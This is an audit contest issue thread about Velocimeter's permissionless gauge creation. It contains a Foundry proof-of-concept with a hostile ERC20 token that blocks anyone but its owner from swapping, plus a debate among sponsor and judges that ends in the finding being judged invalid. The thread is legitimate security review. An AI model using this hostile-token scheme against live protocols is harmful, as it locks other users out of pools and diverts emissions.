GalloDaSballo - Permissioneless LP Pair Creation allows whales to efficiently farm emissions via single sided deposits paired with malicious tokens

[sherlock-admin3]

GalloDaSballo

High

Permissioneless LP Pair Creation allows whales to efficiently farm emissions via single sided deposits paired with malicious tokens

Summary

The decision to allow Gauges on LP pairs in which just one of the two tokens is benign allows farming emissions with malicious tokens

Vulnerability Detail

Gauges can be created on any pair as long as one of the two tokens are whitelisted:

https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/GaugePlugin.sol#L55-L63

    function checkGaugeCreationAllowance(
        address caller,
        address tokenA,
        address tokenB
    ) external view returns (bool) {
        return
            isWhitelistedForGaugeCreation[tokenA] ||
            isWhitelistedForGaugeCreation[tokenB];
    }

As long as someone owns (or can get to 1%) of the total votes, they can simply LP in a single sided fashion by pairing a whitelisted token with a malicious tokens that only allows them to use it.

This will guarantee them that they will farm all emissions for themselves

Optimal attack

This can be done optimally in the following way:

For each unit of approved token and 1% of voting power:

Chunk into multiple 1% of votes and into unit of approved token, pair it with a token that will revert on transfer if the sender is not the owner and if the recipient is not either the pool or the owner

Impact

The pair will not be usable by anybody except the owner

They will efficiently farm 100% of the emissions for that pair

Code Snippet

Note that this attack has already happened on the original solidly: https://hackmd.io/@c30/BJ2PNCwgs#5-Perform-51-attack-on-Solidly-v1

Tool used

Manual Review

Mitigation

In my opinion:

• Both tokens need to be approved
• There should be a delay that allows the owner a sufficient amount of time to blacklist the guage
• This delay needs to be in place as to prevent this from being done at the last second, making the attack unavoidable

[nevillehuang]

request poc

Could be invalid,

Sponsor comments:

Invalid, still need to have our nft and vote on them to get any emmisions, and it is not different to just creating new token and create pair for it

[sherlock-admin4]

PoC requested from @GalloDaSballo

Requests remaining: 34

[GalloDaSballo]

Happy Thursday, thank you for the opportunity to add additional context

Please add this file to your tests

pragma solidity 0.8.13;

import "./BaseTest.sol";
import "solmate/test/utils/mocks/MockERC20.sol";

interface IDepositableGauge {
    function deposit(uint amount, uint tokenId) external;
}

contract MaliciousERC20 is MockERC20 {

    address immutable owner;
    address pool;

    constructor() MockERC20("You only live once so farm as much as you can", "YOLO", 18){
        owner = msg.sender;
    }

    function setPool(address _pool) external {
        require(msg.sender == owner);
        pool = _pool;
    }

    function transfer(address to, uint256 amount) public override returns (bool) {
        require(to == pool && msg.sender == owner || msg.sender == owner && to == pool, "Must be under control");
        balanceOf[msg.sender] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public override returns (bool) {
        require(to == pool && msg.sender == owner || msg.sender == owner && to == pool, "Must be under control");
        uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

        if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

        balanceOf[from] -= amount;

        // Cannot overflow because the sum of all user
        // balances can't exceed the max uint256 value.
        unchecked {
            balanceOf[to] += amount;
        }

        emit Transfer(from, to, amount);

        return true;
    }
}

contract GaugePluginTest is BaseTest {
    VotingEscrow escrow;
    GaugeFactory gaugeFactory;
    BribeFactory bribeFactory;
    Voter voter;
    event WhitelistedForGaugeCreation(
        address indexed whitelister,
        address indexed token
    );
    event BlacklistedForGaugeCreation(
        address indexed blacklister,
        address indexed token
    );

    function setUp() public {
        deployOwners();
        deployCoins();
        mintStables();
        uint256[] memory amounts = new uint256[](3);
        amounts[0] = 2e25;
        amounts[1] = 1e25;
        amounts[2] = 1e25;
        mintFlow(owners, amounts);

        VeArtProxy artProxy = new VeArtProxy();
        escrow = new VotingEscrow(address(FLOW), address(flowDaiPair), address(artProxy), owners[0]);

        deployPairFactoryAndRouter();
        gaugeFactory = new GaugeFactory();
        bribeFactory = new BribeFactory();
        gaugePlugin = new GaugePlugin(address(FLOW), address(WETH), owners[0]);
        voter = new Voter(
            address(escrow),
            address(factory),
            address(gaugeFactory),
            address(bribeFactory),
            address(gaugePlugin)
        );

        escrow.setVoter(address(voter));
        factory.setVoter(address(voter));
        deployPairWithOwner(address(owner));
        deployOptionTokenWithOwner(address(owner), address(gaugeFactory));
        gaugeFactory.setOFlow(address(oFlow));

        factory.setFee(true, 2); // 2 bps = 0.02%
        deployPairWithOwner(address(owner));
        mintPairFraxUsdcWithOwner(payable(address(owner)));
    }

    // Create a new Pair
    // One of the tokens must be malicious
    // forge test --match-test testMaliciousPairFarm -vv
    function testMaliciousPairFarm() public {
        vm.startPrank(address(owner2));
        // WETH is whitelisted
        // gaugePlugin.whitelistForGaugeCreation(address(WETH)); // already done in setup

        MaliciousERC20 maliciousToken = new MaliciousERC20();

        // Create gauge and pool
        address newPool = factory.createPair(address(WETH), address(maliciousToken), false);
        address gauge = voter.createGauge(address(newPool), 0);

        // Setup malicious token and set ability to mint
        WETH.mint(address(owner2), 1e18);
        maliciousToken.mint(address(owner2), 1e18);
        maliciousToken.setPool(address(newPool));

        // Mint LP Position
        maliciousToken.transfer(newPool, 1e18);
        WETH.transfer(newPool, 1e18);
        IPair(newPool).mint(address(owner2));
        IERC20(newPool).approve(gauge, type(uint256).max);

        // Stake
        IDepositableGauge(gauge).deposit(IERC20(newPool).balanceOf(address(owner2)), 0);

        vm.stopPrank();

        // Have someone else try to LP
        address victim = address(0x5445);
        vm.startPrank(victim);
        WETH.mint(address(victim), 1e18);
        WETH.transfer(address(newPool), 1e18);

        IPair asPair = IPair(newPool);

        bool isToken0 = address(maliciousToken) == asPair.token0() ? true : false;

        // Try to purchase one token, Malicious token will prevent it
        /***
            ├─ [8335] Pair::swap(1, 0, 0x0000000000000000000000000000000000005445, 0x)
            │   ├─ [4814] PairFactory::isPaused(Pair: [0x43A81261e92C7B789aBaA2ab3eBF5962BE91CDe9]) [staticcall]
            │   │   └─ ← [Return] false
            │   ├─ [720] MaliciousERC20::transfer(0x0000000000000000000000000000000000005445, 1)
            │   │   └─ ← [Revert] revert: Must be under control
            │   └─ ← [Revert] EvmError: Revert
         */
        // Error is not forwarded hence we just catch the revert, use -vvvv to verify my statement
        vm.expectRevert();
        IPair(newPool).swap(isToken0 ? 1 : 0, isToken0 ? 0 : 1, victim, hex"");

        vm.stopPrank();

        // We can now vote, knowing that all emissions we vote for can only be received by us
        // This is the most effective way to farm emission as our votes will never get diluted

        // Just ve.create_lock
        // Vote on the pool
        // Nobody else can farm these
    }
}

This will allow attackers to vote for pools for which they are the only LP, making voting 100% effective (no dilution)

[dawiddrzala]

you still need to get voting power and locked it to direct emission then it is your choice where you want to direct it, you can vote on main pool and that is going to be most likely more beneficial for you as you get liquid tokens, also we have pause option to stop emissions on the fake gauges

[nevillehuang]

@GalloDaSballo Do you have any comments for the above? Personally, I don't think it is a valid argument for disputing validity.

[GalloDaSballo]

Thank you for the opportunity to comment

Because of the fact that an attacker can vote at the last second, and that gauge creation requires only a single token being approved, all users will be able to decide whether to comply with the intended usage or to farm scam tokens at the detriment of benign users

Adding a time in which it's no longer possible to vote on new gauges would give sufficient time to block those gauges, whereas now malicioius pairs could be deployed and voted on at the last possible time

I have linked to this being weaponized in the original report, but this also happened on day 1 of solidly in 2022: https://x.com/IgMosqueira/status/1499452416986533911 https://x.com/Ceazor7/status/1498015622059687936 https://frogsanon.neworder.network/articles/velodrome-finance-the-return-of-ve-33

Giving all users the option to turn malicious whenever the game theory makes it convenient is not a risk the project should take

[dawiddrzala]

our model is completely different, it is more profitable to vote on the main pool and get the liquid token then vote on malice pool and get the option tokens, also to get voting power you need to be lp provider so basically you are dumping on yourself, so compering our project to velodrome is not valid as our model is completely different

[nevillehuang]

Will leave open for escalation discussion

[dantastisk]

This would cause no loss of funds to anyone, but the attacker, who will miss out on bribes or the opportunity of liquid flow instead of oFlow.

[0xklapouchy]

I totally agree with the sponsor here. This is an invalid issue.

It does not break the maximum emission limit.

It is worth noting that for each subsequent vote and reaching 1% for a new Gauge, the voting power for previous Gauges will be diluted. As a result, the cost continually increases for each new Gauge, and you also need to continuously increase the power for previous Gauges.

Additionally, the protocol can pause a Gauge, which will prevent adding a used pool with a new Gauge.

@nevillehuang Are you going to self escalate this?

[nevillehuang]

@0xklapouchy You can see my thoughts in the public discord thread. You can escalate no problem, but until I see a more concrete economic analysis as to why this is not profitable other than theoretical arguing between parties I won’t make any further comment.

[nevillehuang]

Escalate to facilitate discussion based on this thread. It will serve as an escalation to support any argument towards invalidity that is sound.

[sherlock-admin3]

Escalate to facilitate discussion based on this thread. It will serve as an escalation to support any argument towards invalidity that is sound.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[dantastisk]

Here is my analysis. I have come to the conclusion that this might be profitable under certain conditions. I will let the judges decide if this is enough for medium severity, but I definitely believe that this is not a high severity issue.

Disclaimer: My math might be wrong and there might be oversights. Do please double-check/extend my calculations. Analyzing this potential attack has been of great interest and educational value to me, but I do not have more time in my schedule to spend on this, so this will likely be my last contribution to this discussion.

I will preface by recapping the details of the protocol that are relevant to this discussion.

Some quick definitions/explanations:

weth: I will be using weth to refer to the native payment token of the network. flow: flow is the native token of the protocol. weth-flow lp tokens can be locked in a veNFT to acquire voting power. oFlow: oFlow is an “option to buy flow”. oFlow can be converted to flow in two different ways:

Option 1: oFlow can be exercised to buy flow with weth at 80% of the current weth-flow price (derived from the weth-flow pool). Option 2: oFlow can be converted to flow 1:1 in the form of a max-locked (52 weeks) veNFT, if the holder brings forward the weth required to deposit the flow in the weth-flow pool.

By using method 1, the value of oFlow = 0.2 * the value of liquid flow. By using method 2, it is hard to determine the exact value of oFlow, but it is clearly (strictly) < the value of liquid flow.

Now, there are 4 different ways for a veNFT holder to earn rewards in the Velocimeter protocol.

1. Swap fees: All the fees earned by a pool is transferred to its accompanying bribe contract.
2. Bribes: Anyone can donate directly to a bribe contract to incentivize voters.
3. Weekly flow emissions to the weth-flow pool: All veNFT holders are also weth-flow liquidity providers, as voting power is acquired by locking weth-flow lp tokens. Emissions to this pool are paid out as liquid flow.
4. Revenue from exercising oFlow: The weth revenue from exercising option tokens is shared between all veNFT holders based on their voting powers.

Liquidity providers earn rewards in the form of oFlow-tokens emitted to their pool(s)/gauge(s) based on the share of votes received by the pool(s)/gauge(s).

Let: F be the value of liquid flow. O be the value of oFlow. V be the percentage of voting power controlled by the attacker. E be the amount of weekly emissions per active gauge. A be the number of active gauges. W = E * A be the total amount of weekly emissions.

For the sake of simplicity we will assume that the only pools are the weth-flow pool and the malicious pools created by the attacker.

If the attacker creates a malicious pool and puts all of their votes towards this, they would receive V W of oFlow. They would however be giving up V V W = V^2 W of liquid flow that they could have potentially earned by voting for the weth-flow pool instead. V * V because the pool will earn V less emissions and the attacker receives V of this.

The gain/loss of the attacker, solely based on this, is thus equal to V W O - V^2 W F. We can factor out W to get W (V O - V^2 * F)

If we let S denote the lost swap fees and B denote the lost bribes, and add these to the equation, we get W (V O - V^2 * F) - (S + B)

For this to be a positive value, V O - V^2 F would have to be > 0 and W (V O - V^2 * F) would have to be > (S + B).

Exercising oFlow using option 1 would put its value at exactly 0.2 * the value of liquid flow. Determining the exact value of oFlow, when exercised using option 2 is hard, but it must be strictly less than the value of liquid flow.

To examine the “worst case scenario” let’s assume the value of oFlow to be equal to be value of flow. Then we can solve for the maximum of V - V^2, which is at V = 0.5. W (0.5 - 0.5^2) = 0.25 W

So the value of the lost swap fees and bribes must exceed 1/4th of the total weekly emissions.

Since this example requires the attacker to acquire and lock 50% of the total supply of flow, at this point it is comparable to acquiring a majority stake of any governance-based protocol and passing a proposal that tanks the protocol, which can hardly be considered a vulnerability, as the attacker would take the largest hit by a large margin.

[nevillehuang]

@GalloDaSballo Could I loop you in to respond to the escalation comments for this issue and #24? I don’t want to make conclusive statements before hearing your thoughts because I believe I lack the nevessary context and analysis required to provide the most accurate and conclusive argument.

[dawiddrzala]

from protocol perspective that issue is not valid, there is no broken functionality in the contracts, compering to the velodrome is also not correct, as the token emission and nft are working completely different here.

[cvetanovv]

I agree with the comments that this issue is invalid.

The issue does not break the protocol's emission limits, and the effectiveness of any potential exploit would diminish as voting power is spread across multiple gauges.

Additionally, the admin can kill the gauge at any time.

Given these points, this issue should be considered invalid.

Planning to accept the escalation and invalidate the issue.

[WangSecurity]

Result: Invalid Has duplicates

[sherlock-admin4]

Escalations have been resolved successfully!

Escalation status:

• nevillehuang: accepted